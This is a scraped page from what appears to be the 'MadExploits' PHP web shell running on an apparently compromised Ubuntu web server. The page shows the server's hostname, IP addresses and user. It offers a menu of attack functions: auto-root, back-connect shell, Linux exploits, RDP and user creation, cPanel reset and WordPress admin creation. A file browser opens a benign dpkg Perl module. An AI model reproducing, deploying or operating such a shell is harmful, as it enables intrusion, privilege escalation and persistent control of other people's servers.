Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.138.137.150
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Dpkg /
[ HOME SHELL ]
Name
Size
Permission
Action
Build
[ DIR ]
drwxr-xr-x
Changelog
[ DIR ]
drwxr-xr-x
Compression
[ DIR ]
drwxr-xr-x
Control
[ DIR ]
drwxr-xr-x
Deps
[ DIR ]
drwxr-xr-x
Dist
[ DIR ]
drwxr-xr-x
Interface
[ DIR ]
drwxr-xr-x
Shlibs
[ DIR ]
drwxr-xr-x
Source
[ DIR ]
drwxr-xr-x
Vendor
[ DIR ]
drwxr-xr-x
Arch.pm
14.79
KB
-rw-r--r--
BuildFlags.pm
11.32
KB
-rw-r--r--
BuildOptions.pm
6.19
KB
-rw-r--r--
BuildProfiles.pm
3.42
KB
-rw-r--r--
Changelog.pm
20.32
KB
-rw-r--r--
Checksums.pm
11.01
KB
-rw-r--r--
Compression.pm
6.97
KB
-rw-r--r--
Conf.pm
5.95
KB
-rw-r--r--
Control.pm
7.19
KB
-rw-r--r--
Deps.pm
13.98
KB
-rw-r--r--
ErrorHandling.pm
5.17
KB
-rw-r--r--
Exit.pm
2.07
KB
-rw-r--r--
File.pm
1.25
KB
-rw-r--r--
Getopt.pm
1.21
KB
-rw-r--r--
Gettext.pm
5.88
KB
-rw-r--r--
IPC.pm
11.62
KB
-rw-r--r--
Index.pm
11.62
KB
-rw-r--r--
Lock.pm
1.87
KB
-rw-r--r--
OpenPGP.pm
2.25
KB
-rw-r--r--
Package.pm
1.26
KB
-rw-r--r--
Path.pm
7.42
KB
-rw-r--r--
Shlibs.pm
5.02
KB
-rw-r--r--
Substvars.pm
10.96
KB
-rw-r--r--
Vars.pm
1.42
KB
-rw-r--r--
Vendor.pm
5.34
KB
-rw-r--r--
Version.pm
12.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorHandling.pm
# This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. package Dpkg::ErrorHandling; use strict; use warnings; use feature qw(state); our $VERSION = '0.02'; our @EXPORT_OK = qw( REPORT_PROGNAME REPORT_COMMAND REPORT_STATUS REPORT_DEBUG REPORT_INFO REPORT_NOTICE REPORT_WARN REPORT_ERROR report_pretty report_color report ); our @EXPORT = qw( report_options debug info notice warning error errormsg syserr printcmd subprocerr usageerr ); use Exporter qw(import); use Dpkg (); use Dpkg::Gettext; my $quiet_warnings = 0; my $debug_level = 0; my $info_fh = \*STDOUT; sub setup_color { my $mode = $ENV{'DPKG_COLORS'} // 'auto'; my $use_color; if ($mode eq 'auto') { ## no critic (InputOutput::ProhibitInteractiveTest) $use_color = 1 if -t *STDOUT or -t *STDERR; } elsif ($mode eq 'always') { $use_color = 1; } else { $use_color = 0; } require Term::ANSIColor if $use_color; } use constant { REPORT_PROGNAME => 1, REPORT_COMMAND => 2, REPORT_STATUS => 3, REPORT_INFO => 4, REPORT_NOTICE => 5, REPORT_WARN => 6, REPORT_ERROR => 7, REPORT_DEBUG => 8, }; my %report_mode = ( REPORT_PROGNAME() => { color => 'bold', }, REPORT_COMMAND() => { color => 'bold magenta', }, REPORT_STATUS() => { color => 'clear', # We do not translate this name because the untranslated output is # part of the interface. name => 'status', }, REPORT_DEBUG() => { color => 'clear', # We do not translate this name because it is a developer interface # and all debug messages are untranslated anyway. name => 'debug', }, REPORT_INFO() => { color => 'green', name => g_('info'), }, REPORT_NOTICE() => { color => 'yellow', name => g_('notice'), }, REPORT_WARN() => { color => 'bold yellow', name => g_('warning'), }, REPORT_ERROR() => { color => 'bold red', name => g_('error'), }, ); sub report_options { my (%options) = @_; if (exists $options{quiet_warnings}) { $quiet_warnings = $options{quiet_warnings}; } if (exists $options{debug_level}) { $debug_level = $options{debug_level}; } if (exists $options{info_fh}) { $info_fh = $options{info_fh}; } } sub report_name { my $type = shift; return $report_mode{$type}{name} // ''; } sub report_color { my $type = shift; return $report_mode{$type}{color} // 'clear'; } sub report_pretty { my ($msg, $color) = @_; state $use_color = setup_color(); if ($use_color) { return Term::ANSIColor::colored($msg, $color); } else { return $msg; } } sub _progname_prefix { return report_pretty("$Dpkg::PROGNAME: ", report_color(REPORT_PROGNAME)); } sub _typename_prefix { my $type = shift; return report_pretty(report_name($type), report_color($type)); } sub report(@) { my ($type, $msg) = (shift, shift); $msg = sprintf($msg, @_) if (@_); my $progname = _progname_prefix(); my $typename = _typename_prefix($type); return "$progname$typename: $msg\n"; } sub debug { my $level = shift; print report(REPORT_DEBUG, @_) if $level <= $debug_level; } sub info($;@) { print { $info_fh } report(REPORT_INFO, @_) if not $quiet_warnings; } sub notice { warn report(REPORT_NOTICE, @_) if not $quiet_warnings; } sub warning($;@) { warn report(REPORT_WARN, @_) if not $quiet_warnings; } sub syserr($;@) { my $msg = shift; die report(REPORT_ERROR, "$msg: $!", @_); } sub error($;@) { die report(REPORT_ERROR, @_); } sub errormsg($;@) { print { *STDERR } report(REPORT_ERROR, @_); } sub printcmd { my (@cmd) = @_; print { *STDERR } report_pretty(" @cmd\n", report_color(REPORT_COMMAND)); } sub subprocerr(@) { my ($p) = (shift); $p = sprintf($p, @_) if (@_); require POSIX; if (POSIX::WIFEXITED($?)) { my $ret = POSIX::WEXITSTATUS($?); error(g_('%s subprocess returned exit status %d'), $p, $ret); } elsif (POSIX::WIFSIGNALED($?)) { my $sig = POSIX::WTERMSIG($?); error(g_('%s subprocess was killed by signal %d'), $p, $sig); } else { error(g_('%s subprocess failed with unknown status code %d'), $p, $?); } } sub usageerr(@) { my ($msg) = (shift); state $printforhelp = g_('Use --help for program usage information.'); $msg = sprintf($msg, @_) if (@_); warn report(REPORT_ERROR, $msg); warn "\n$printforhelp\n"; exit(2); } 1;
Close